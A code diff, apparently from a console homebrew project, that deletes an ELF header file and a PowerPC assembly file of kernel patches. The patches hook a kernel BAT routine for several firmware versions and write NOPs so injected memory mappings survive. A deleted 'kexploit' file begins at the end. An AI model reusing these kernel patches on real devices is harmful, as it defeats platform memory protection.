|
||||
#define SHT_NOTE 7 /* note section */
|
||||
#define SHT_NOBITS 8 /* no space section */
|
||||
#define SHT_REL 9 /* relation section without addends */
|
||||
#define SHT_SHLIB 10 /* reserved - purpose unknown */
|
||||
#define SHT_DYNSYM 11 /* dynamic symbol table section */
|
||||
#define SHT_INIT_ARRAY 14 /* Array of constructors */
|
||||
#define SHT_FINI_ARRAY 15 /* Array of destructors */
|
||||
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
|
||||
#define SHT_GROUP 17 /* Section group */
|
||||
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
|
||||
#define SHT_NUM 19 /* number of section types */
|
||||
#define SHT_LOOS 0x60000000 /* Start OS-specific */
|
||||
#define SHT_HIOS 0x6fffffff /* End OS-specific */
|
||||
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define SHT_HIPROC 0x7fffffff /* specific section header types */
|
||||
#define SHT_LOUSER 0x80000000 /* reserved range for application */
|
||||
#define SHT_HIUSER 0xffffffff /* specific indexes */
|
||||
|
||||
/* Section names */
|
||||
#define ELF_BSS ".bss" /* uninitialized data */
|
||||
#define ELF_COMMENT ".comment" /* version control information */
|
||||
#define ELF_DATA ".data" /* initialized data */
|
||||
#define ELF_DATA1 ".data1" /* initialized data */
|
||||
#define ELF_DEBUG ".debug" /* debug */
|
||||
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
|
||||
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
|
||||
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
|
||||
#define ELF_FINI ".fini" /* termination code */
|
||||
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
|
||||
#define ELF_GOT ".got" /* global offset table */
|
||||
#define ELF_HASH ".hash" /* symbol hash table */
|
||||
#define ELF_INIT ".init" /* initialization code */
|
||||
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
|
||||
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
|
||||
#define ELF_LINE ".line" /* Symbolic line numnber information */
|
||||
#define ELF_NOTE ".note" /* Contains note section */
|
||||
#define ELF_PLT ".plt" /* Procedure linkage table */
|
||||
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
|
||||
#define ELF_REL_DATA ".rel.data" /* relocation data */
|
||||
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
|
||||
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
|
||||
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
|
||||
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
|
||||
#define ELF_REL_TEXT ".rel.text" /* relocation code */
|
||||
#define ELF_RODATA ".rodata" /* read-only data */
|
||||
#define ELF_RODATA1 ".rodata1" /* read-only data */
|
||||
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
|
||||
#define ELF_STRTAB ".strtab" /* string table */
|
||||
#define ELF_SYMTAB ".symtab" /* symbol table */
|
||||
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
|
||||
#define ELF_TBSS ".tbss" /* thread local uninit data */
|
||||
#define ELF_TDATA ".tdata" /* thread local init data */
|
||||
#define ELF_TDATA1 ".tdata1" /* thread local init data */
|
||||
#define ELF_TEXT ".text" /* code */
|
||||
|
||||
/* Section Attribute Flags - sh_flags */
|
||||
#define SHF_WRITE 0x1 /* Writable */
|
||||
#define SHF_ALLOC 0x2 /* occupies memory */
|
||||
#define SHF_EXECINSTR 0x4 /* executable */
|
||||
#define SHF_MERGE 0x10 /* Might be merged */
|
||||
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
|
||||
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
|
||||
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
|
||||
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
|
||||
#define SHF_GROUP 0x200 /* Member of section group */
|
||||
#define SHF_TLS 0x400 /* Thread local storage */
|
||||
#define SHF_MASKOS 0x0ff00000 /* OS specific */
|
||||
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||
/* specific section attributes */
|
||||
|
||||
/* Section Group Flags */
|
||||
#define GRP_COMDAT 0x1 /* COMDAT group */
|
||||
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
|
||||
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
|
||||
|
||||
/* Symbol Table Entry */
|
||||
typedef struct elf32_sym {
|
||||
Elf32_Word st_name; /* name - index into string table */
|
||||
Elf32_Addr st_value; /* symbol value */
|
||||
Elf32_Word st_size; /* symbol size */
|
||||
unsigned char st_info; /* type and binding */
|
||||
unsigned char st_other; /* 0 - no defined meaning */
|
||||
Elf32_Half st_shndx; /* section header index */
|
||||
} Elf32_Sym;
|
||||
|
||||
/* Symbol table index */
|
||||
#define STN_UNDEF 0 /* undefined */
|
||||
|
||||
/* Extract symbol info - st_info */
|
||||
#define ELF32_ST_BIND(x) ((x) >> 4)
|
||||
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
|
||||
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
|
||||
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
|
||||
|
||||
/* Symbol Binding - ELF32_ST_BIND - st_info */
|
||||
#define STB_LOCAL 0 /* Local symbol */
|
||||
#define STB_GLOBAL 1 /* Global symbol */
|
||||
#define STB_WEAK 2 /* like global - lower precedence */
|
||||
#define STB_NUM 3 /* number of symbol bindings */
|
||||
#define STB_LOOS 10 /* reserved range for operating */
|
||||
#define STB_HIOS 12 /* system specific symbol bindings */
|
||||
#define STB_LOPROC 13 /* reserved range for processor */
|
||||
#define STB_HIPROC 15 /* specific symbol bindings */
|
||||
|
||||
/* Symbol type - ELF32_ST_TYPE - st_info */
|
||||
#define STT_NOTYPE 0 /* not specified */
|
||||
#define STT_OBJECT 1 /* data object */
|
||||
#define STT_FUNC 2 /* function */
|
||||
#define STT_SECTION 3 /* section */
|
||||
#define STT_FILE 4 /* file */
|
||||
#define STT_NUM 5 /* number of symbol types */
|
||||
#define STT_TLS 6 /* Thread local storage symbol */
|
||||
#define STT_LOOS 10 /* reserved range for operating */
|
||||
#define STT_HIOS 12 /* system specific symbol types */
|
||||
#define STT_LOPROC 13 /* reserved range for processor */
|
||||
#define STT_HIPROC 15 /* specific symbol types */
|
||||
|
||||
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
|
||||
#define STV_DEFAULT 0 /* Normal visibility rules */
|
||||
#define STV_INTERNAL 1 /* Processor specific hidden class */
|
||||
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
|
||||
#define STV_PROTECTED 3 /* Not preemptible, not exported */
|
||||
|
||||
|
||||
/* Relocation entry with implicit addend */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Addr r_offset; /* offset of relocation */
|
||||
Elf32_Word r_info; /* symbol table index and type */
|
||||
} Elf32_Rel;
|
||||
|
||||
/* Relocation entry with explicit addend */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Addr r_offset; /* offset of relocation */
|
||||
Elf32_Word r_info; /* symbol table index and type */
|
||||
Elf32_Sword r_addend;
|
||||
} Elf32_Rela;
|
||||
|
||||
/* Extract relocation info - r_info */
|
||||
#define ELF32_R_SYM(i) ((i) >> 8)
|
||||
#define ELF32_R_TYPE(i) ((unsigned char) (i))
|
||||
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
|
||||
|
||||
/* Program Header */
|
||||
typedef struct {
|
||||
Elf32_Word p_type; /* segment type */
|
||||
Elf32_Off p_offset; /* segment offset */
|
||||
Elf32_Addr p_vaddr; /* virtual address of segment */
|
||||
Elf32_Addr p_paddr; /* physical address - ignored? */
|
||||
Elf32_Word p_filesz; /* number of bytes in file for seg. */
|
||||
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
|
||||
Elf32_Word p_flags; /* flags */
|
||||
Elf32_Word p_align; /* memory alignment */
|
||||
} Elf32_Phdr;
|
||||
|
||||
/* Segment types - p_type */
|
||||
#define PT_NULL 0 /* unused */
|
||||
#define PT_LOAD 1 /* loadable segment */
|
||||
#define PT_DYNAMIC 2 /* dynamic linking section */
|
||||
#define PT_INTERP 3 /* the RTLD */
|
||||
#define PT_NOTE 4 /* auxiliary information */
|
||||
#define PT_SHLIB 5 /* reserved - purpose undefined */
|
||||
#define PT_PHDR 6 /* program header */
|
||||
#define PT_TLS 7 /* Thread local storage template */
|
||||
#define PT_NUM 8 /* Number of segment types */
|
||||
#define PT_LOOS 0x60000000 /* reserved range for operating */
|
||||
#define PT_HIOS 0x6fffffff /* system specific segment types */
|
||||
#define PT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define PT_HIPROC 0x7fffffff /* specific segment types */
|
||||
|
||||
/* Segment flags - p_flags */
|
||||
#define PF_X 0x1 /* Executable */
|
||||
#define PF_W 0x2 /* Writable */
|
||||
#define PF_R 0x4 /* Readable */
|
||||
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
|
||||
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||
/* specific segment flags */
|
||||
/* Dynamic structure */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Sword d_tag; /* controls meaning of d_val */
|
||||
union
|
||||
{
|
||||
Elf32_Word d_val; /* Multiple meanings - see d_tag */
|
||||
Elf32_Addr d_ptr; /* program virtual address */
|
||||
} d_un;
|
||||
} Elf32_Dyn;
|
||||
|
||||
extern Elf32_Dyn _DYNAMIC[];
|
||||
|
||||
/* Dynamic Array Tags - d_tag */
|
||||
#define DT_NULL 0 /* marks end of _DYNAMIC array */
|
||||
#define DT_NEEDED 1 /* string table offset of needed lib */
|
||||
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
|
||||
#define DT_PLTGOT 3 /* address PLT/GOT */
|
||||
#define DT_HASH 4 /* address of symbol hash table */
|
||||
#define DT_STRTAB 5 /* address of string table */
|
||||
#define DT_SYMTAB 6 /* address of symbol table */
|
||||
#define DT_RELA 7 /* address of relocation table */
|
||||
#define DT_RELASZ 8 /* size of relocation table */
|
||||
#define DT_RELAENT 9 /* size of relocation entry */
|
||||
#define DT_STRSZ 10 /* size of string table */
|
||||
#define DT_SYMENT 11 /* size of symbol table entry */
|
||||
#define DT_INIT 12 /* address of initialization func. */
|
||||
#define DT_FINI 13 /* address of termination function */
|
||||
#define DT_SONAME 14 /* string table offset of shared obj */
|
||||
#define DT_RPATH 15 /* string table offset of library
|
||||
search path */
|
||||
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
|
||||
#define DT_REL 17 /* address of rel. tbl. w addends */
|
||||
#define DT_RELSZ 18 /* size of DT_REL relocation table */
|
||||
#define DT_RELENT 19 /* size of DT_REL relocation entry */
|
||||
#define DT_PLTREL 20 /* PLT referenced relocation entry */
|
||||
#define DT_DEBUG 21 /* bugger */
|
||||
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
|
||||
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
|
||||
#define DT_BIND_NOW 24 /* Process relocations of object */
|
||||
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
|
||||
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
|
||||
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
|
||||
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
|
||||
#define DT_RUNPATH 29 /* Library search path */
|
||||
#define DT_FLAGS 30 /* Flags for the object being loaded */
|
||||
#define DT_ENCODING 32 /* Start of encoded range */
|
||||
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
|
||||
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
|
||||
#define DT_NUM 34 /* Number used. */
|
||||
#define DT_LOOS 0x60000000 /* reserved range for OS */
|
||||
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
|
||||
#define DT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
|
||||
|
||||
/* Dynamic Tag Flags - d_un.d_val */
|
||||
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
|
||||
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
|
||||
#define DF_TEXTREL 0x04 /* Object contains text relocations */
|
||||
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
|
||||
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
|
||||
|
||||
/* Standard ELF hashing function */
|
||||
unsigned long elf_hash(const unsigned char *name);
|
||||
|
||||
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
|
||||
|
||||
/*
|
||||
* XXX - PowerPC defines really don't belong in here,
|
||||
* but we'll put them in for simplicity.
|
||||
*/
|
||||
|
||||
/* Values for Elf32/64_Ehdr.e_flags. */
|
||||
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
|
||||
|
||||
/* Cygnus local bits below */
|
||||
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
|
||||
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
|
||||
flag */
|
||||
|
||||
/* PowerPC relocations defined by the ABIs */
|
||||
#define R_PPC_NONE 0
|
||||
#define R_PPC_ADDR32 1 /* 32bit absolute address */
|
||||
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
|
||||
#define R_PPC_ADDR16 3 /* 16bit absolute address */
|
||||
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
|
||||
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
|
||||
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
|
||||
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
|
||||
#define R_PPC_ADDR14_BRTAKEN 8
|
||||
#define R_PPC_ADDR14_BRNTAKEN 9
|
||||
#define R_PPC_REL24 10 /* PC relative 26 bit */
|
||||
#define R_PPC_REL14 11 /* PC relative 16 bit */
|
||||
#define R_PPC_REL14_BRTAKEN 12
|
||||
#define R_PPC_REL14_BRNTAKEN 13
|
||||
#define R_PPC_GOT16 14
|
||||
#define R_PPC_GOT16_LO 15
|
||||
#define R_PPC_GOT16_HI 16
|
||||
#define R_PPC_GOT16_HA 17
|
||||
#define R_PPC_PLTREL24 18
|
||||
#define R_PPC_COPY 19
|
||||
#define R_PPC_GLOB_DAT 20
|
||||
#define R_PPC_JMP_SLOT 21
|
||||
#define R_PPC_RELATIVE 22
|
||||
#define R_PPC_LOCAL24PC 23
|
||||
#define R_PPC_UADDR32 24
|
||||
#define R_PPC_UADDR16 25
|
||||
#define R_PPC_REL32 26
|
||||
#define R_PPC_PLT32 27
|
||||
#define R_PPC_PLTREL32 28
|
||||
#define R_PPC_PLT16_LO 29
|
||||
#define R_PPC_PLT16_HI 30
|
||||
#define R_PPC_PLT16_HA 31
|
||||
#define R_PPC_SDAREL16 32
|
||||
#define R_PPC_SECTOFF 33
|
||||
#define R_PPC_SECTOFF_LO 34
|
||||
#define R_PPC_SECTOFF_HI 35
|
||||
#define R_PPC_SECTOFF_HA 36
|
||||
/* Keep this the last entry. */
|
||||
#define R_PPC_NUM 37
|
||||
|
||||
/* The remaining relocs are from the Embedded ELF ABI, and are not
|
||||
in the SVR4 ELF ABI. */
|
||||
#define R_PPC_EMB_NADDR32 101
|
||||
#define R_PPC_EMB_NADDR16 102
|
||||
#define R_PPC_EMB_NADDR16_LO 103
|
||||
#define R_PPC_EMB_NADDR16_HI 104
|
||||
#define R_PPC_EMB_NADDR16_HA 105
|
||||
#define R_PPC_EMB_SDAI16 106
|
||||
#define R_PPC_EMB_SDA2I16 107
|
||||
#define R_PPC_EMB_SDA2REL 108
|
||||
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
|
||||
#define R_PPC_EMB_MRKREF 110
|
||||
#define R_PPC_EMB_RELSEC16 111
|
||||
#define R_PPC_EMB_RELST_LO 112
|
||||
#define R_PPC_EMB_RELST_HI 113
|
||||
#define R_PPC_EMB_RELST_HA 114
|
||||
#define R_PPC_EMB_BIT_FLD 115
|
||||
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
|
||||
|
||||
/* Diab tool relocations. */
|
||||
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
|
||||
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
|
||||
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
|
||||
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
|
||||
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
|
||||
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
|
||||
|
||||
/* This is a phony reloc to handle any old fashioned TOC16 references
|
||||
that may still be in object files. */
|
||||
#define R_PPC_TOC16 255
|
||||
|
||||
#endif /* _ELF_H */
|
||||
@ -1,282 +0,0 @@
|
||||
#if (VER == 550)
|
||||
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
|
||||
# not all of those NOP address are required for every firmware
|
||||
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
|
||||
#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
|
||||
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
|
||||
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
|
||||
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
|
||||
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
|
||||
|
||||
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
|
||||
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
|
||||
|
||||
#elif ((VER == 532) || (VER == 540))
|
||||
#define BAT_SETUP_HOOK_ADDR 0xFFF1D638
|
||||
|
||||
# not all of those NOP address are required for every firmware
|
||||
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
|
||||
#define BAT_SET_NOP_ADDR_1 0xFFF06A14
|
||||
#define BAT_SET_NOP_ADDR_2 0xFFF06AA0
|
||||
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||
#define BAT_SET_NOP_ADDR_5 0xFFF1D720
|
||||
#define BAT_SET_NOP_ADDR_6 0xFFF1D73C
|
||||
#define BAT_SET_NOP_ADDR_7 0xFFF1D840
|
||||
|
||||
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
|
||||
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
|
||||
|
||||
#elif ((VER == 500) || (VER == 510))
|
||||
#define BAT_SETUP_HOOK_ADDR 0xFFF1D518
|
||||
|
||||
#define BAT_SET_NOP_ADDR_1 0xFFF0697C
|
||||
#define BAT_SET_NOP_ADDR_2 0xFFF06A08
|
||||
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||
#define BAT_SET_NOP_ADDR_5 0xFFF1D600
|
||||
#define BAT_SET_NOP_ADDR_6 0xFFF1D61C
|
||||
#define BAT_SET_NOP_ADDR_7 0xFFF1D720
|
||||
|
||||
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
|
||||
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
|
||||
#elif VER == 410
|
||||
#define BAT_SETUP_HOOK_ADDR 0xFFF1AD00
|
||||
|
||||
#define BAT_SET_NOP_ADDR_1 0xFFF06708
|
||||
#define BAT_SET_NOP_ADDR_2 0xFFF06794
|
||||
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||
#define BAT_SET_NOP_ADDR_5 0xFFF1ADE8
|
||||
#define BAT_SET_NOP_ADDR_6 0xFFF1AE04
|
||||
#define BAT_SET_NOP_ADDR_7 0xFFF1AF08
|
||||
|
||||
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
|
||||
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
|
||||
#elif VER == 400
|
||||
#define BAT_SETUP_HOOK_ADDR 0xFFF1A440
|
||||
|
||||
#define BAT_SET_NOP_ADDR_1 0xFFF066FC
|
||||
#define BAT_SET_NOP_ADDR_2 0xFFF06788
|
||||
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||
#define BAT_SET_NOP_ADDR_5 0xFFF1A528
|
||||
#define BAT_SET_NOP_ADDR_6 0xFFF1A544
|
||||
//define BAT_SET_NOP_ADDR_7 not present in 400
|
||||
|
||||
#define BAT_SET_NOP_ADDR_8 0xFFEE0F50
|
||||
#define BAT_SET_NOP_ADDR_9 0xFFEE0F54
|
||||
#elif (VER == 310)
|
||||
#define BAT_SETUP_HOOK_ADDR 0xFFF19EC4
|
||||
|
||||
#define BAT_SET_NOP_ADDR_1 0xFFF06590
|
||||
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
|
||||
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||
#define BAT_SET_NOP_ADDR_5 0xFFF19FAC
|
||||
#define BAT_SET_NOP_ADDR_6 0xFFF19FC8
|
||||
// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0
|
||||
|
||||
#define BAT_SET_NOP_ADDR_8 0xFFEE0FB0
|
||||
#define BAT_SET_NOP_ADDR_9 0xFFEE0FB4
|
||||
#elif (VER == 300)
|
||||
#define BAT_SETUP_HOOK_ADDR 0xFFF19E2C
|
||||
|
||||
#define BAT_SET_NOP_ADDR_1 0xFFF06590
|
||||
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
|
||||
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||
#define BAT_SET_NOP_ADDR_5 0xFFF19F14
|
||||
#define BAT_SET_NOP_ADDR_6 0xFFF19F30
|
||||
// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x
|
||||
|
||||
#define BAT_SET_NOP_ADDR_8 0xFFEE0DB8
|
||||
#define BAT_SET_NOP_ADDR_9 0xFFEE0DBC
|
||||
#else
|
||||
#error Please define valid values for kernel setup.
|
||||
#endif
|
||||
|
||||
#ifdef USE_SD_LOADER
|
||||
#define BAT_SETUP_HOOK_ENTRY 0x00800000
|
||||
#else
|
||||
#define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000)
|
||||
#endif
|
||||
|
||||
#define BAT4U_VAL 0x008000FF
|
||||
#if VER >= 410
|
||||
#define BAT4L_VAL 0x30800012
|
||||
#elif VER <= 400
|
||||
#define BAT4L_VAL 0x4E800012
|
||||
#else
|
||||
#error Please define valid value for firmware setup.
|
||||
#endif
|
||||
|
||||
#define SET_R4_TO_ADDR(addr) \
|
||||
lis r3, addr@h ; \
|
||||
ori r3, r3, addr@l ; \
|
||||
stw r4, 0(r3) ; \
|
||||
dcbf 0, r3 ; \
|
||||
icbi 0, r3 ;
|
||||
|
||||
.globl SC_0x25_KernelCopyData
|
||||
SC_0x25_KernelCopyData:
|
||||
li r0, 0x2500
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl Syscall_0x36
|
||||
Syscall_0x36:
|
||||
li r0, 0x3600
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl KernelPatches
|
||||
KernelPatches:
|
||||
# store the old DBAT0
|
||||
mfdbatu r5, 0
|
||||
mfdbatl r6, 0
|
||||
|
||||
# memory barrier
|
||||
eieio
|
||||
isync
|
||||
|
||||
# setup DBAT0 for access to kernel code memory
|
||||
lis r3, 0xFFF0
|
||||
ori r3, r3, 0x0002
|
||||
mtdbatu 0, r3
|
||||
lis r3, 0xFFF0
|
||||
ori r3, r3, 0x0032
|
||||
mtdbatl 0, r3
|
||||
|
||||
# memory barrier
|
||||
eieio
|
||||
isync
|
||||
|
||||
# SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though
|
||||
# just chosen because its simple
|
||||
lis r3, BAT_SETUP_HOOK_ADDR@h
|
||||
ori r3, r3, BAT_SETUP_HOOK_ADDR@l
|
||||
|
||||
# make the kernel setup our section in IBAT4 and
|
||||
# jump to our function to restore the replaced instructions
|
||||
lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h
|
||||
ori r4, r4, BAT4L_VAL@h
|
||||
stw r4, 0x00(r3)
|
||||
lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l
|
||||
ori r4, r4, BAT4L_VAL@l
|
||||
stw r4, 0x04(r3)
|
||||
lis r4, 0x7cf1 # mtspr 561, r7
|
||||
ori r4, r4, 0x8ba6
|
||||
stw r4, 0x08(r3)
|
||||
lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h
|
||||
ori r4, r4, BAT4U_VAL@h
|
||||
stw r4, 0x0C(r3)
|
||||
lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l
|
||||
ori r4, r4, BAT4U_VAL@l
|
||||
stw r4, 0x10(r3)
|
||||
lis r4, 0x7cf0 # mtspr 560, r7
|
||||
ori r4, r4, 0x8ba6
|
||||
stw r4, 0x14(r3)
|
||||
lis r4, 0x7c00 # eieio
|
||||
ori r4, r4, 0x06ac
|
||||
stw r4, 0x18(r3)
|
||||
lis r4, 0x4c00 # isync
|
||||
ori r4, r4, 0x012c
|
||||
stw r4, 0x1C(r3)
|
||||
lis r4, 0x7ce8 # mflr r7
|
||||
ori r4, r4, 0x02a6
|
||||
stw r4, 0x20(r3)
|
||||
lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY
|
||||
ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l
|
||||
stw r4, 0x24(r3)
|
||||
|
||||
# flush and invalidate the replaced instructions
|
||||
lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h
|
||||
ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l
|
||||
dcbf 0, r3
|
||||
icbi 0, r3
|
||||
lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h
|
||||
ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l
|
||||
dcbf 0, r3
|
||||
icbi 0, r3
|
||||
sync
|
||||
|
||||
# setup IBAT4 for core 1 at this position (not really required but wont hurt)
|
||||
# IBATL 4
|
||||
lis r3, BAT4L_VAL@h
|
||||
ori r3, r3, BAT4L_VAL@l
|
||||
mtspr 561, r3
|
||||
|
||||
# IBATU 4
|
||||
lis r3, BAT4U_VAL@h
|
||||
ori r3, r3, BAT4U_VAL@l
|
||||
mtspr 560, r3
|
||||
|
||||
# memory barrier
|
||||
eieio
|
||||
isync
|
||||
|
||||
# write "nop" to some positions
|
||||
lis r4, 0x6000
|
||||
# nop on IBATU 4 and DBAT 5 set/reset
|
||||
#ifdef BAT_SET_NOP_ADDR_1
|
||||
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1)
|
||||
#endif
|
||||
#ifdef BAT_SET_NOP_ADDR_2
|
||||
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2)
|
||||
#endif
|
||||
#ifdef BAT_SET_NOP_ADDR_3
|
||||
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3)
|
||||
#endif
|
||||
#ifdef BAT_SET_NOP_ADDR_4
|
||||
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4)
|
||||
#endif
|
||||
#ifdef BAT_SET_NOP_ADDR_5
|
||||
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5)
|
||||
#endif
|
||||
#ifdef BAT_SET_NOP_ADDR_6
|
||||
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6)
|
||||
#endif
|
||||
#ifdef BAT_SET_NOP_ADDR_7
|
||||
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7)
|
||||
#endif
|
||||
|
||||
#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9))
|
||||
# memory barrier
|
||||
eieio
|
||||
isync
|
||||
|
||||
# setup DBAT0 for access to kernel code memory
|
||||
lis r3, 0xFFEE
|
||||
ori r3, r3, 0x0002
|
||||
mtdbatu 0, r3
|
||||
lis r3, 0xFFEE
|
||||
ori r3, r3, 0x0032
|
||||
mtdbatl 0, r3
|
||||
|
||||
# memory barrier
|
||||
eieio
|
||||
isync
|
||||
|
||||
# write "nop" to some positions
|
||||
lis r4, 0x6000
|
||||
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8)
|
||||
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9)
|
||||
#endif
|
||||
|
||||
# memory barrier
|
||||
eieio
|
||||
isync
|
||||
|
||||
# restore DBAT 0 and return from interrupt
|
||||
mtdbatu 0, r5
|
||||
mtdbatl 0, r6
|
||||
|
||||
# memory barrier
|
||||
eieio
|
||||
isync
|
||||
|
||||
blr
|
||||
|
||||
@ -1,770 +0,0 @@
|
||||
#include "kexploit.h"
|
||||
|
||||
void wait(unsigned int coreinit_handle, unsigned int t);
|
||||
void doBrowserShutdown(unsigned int coreinit_handle);
|
||||
void setupOSScreen(unsigned int coreinit_handle);
|
||||
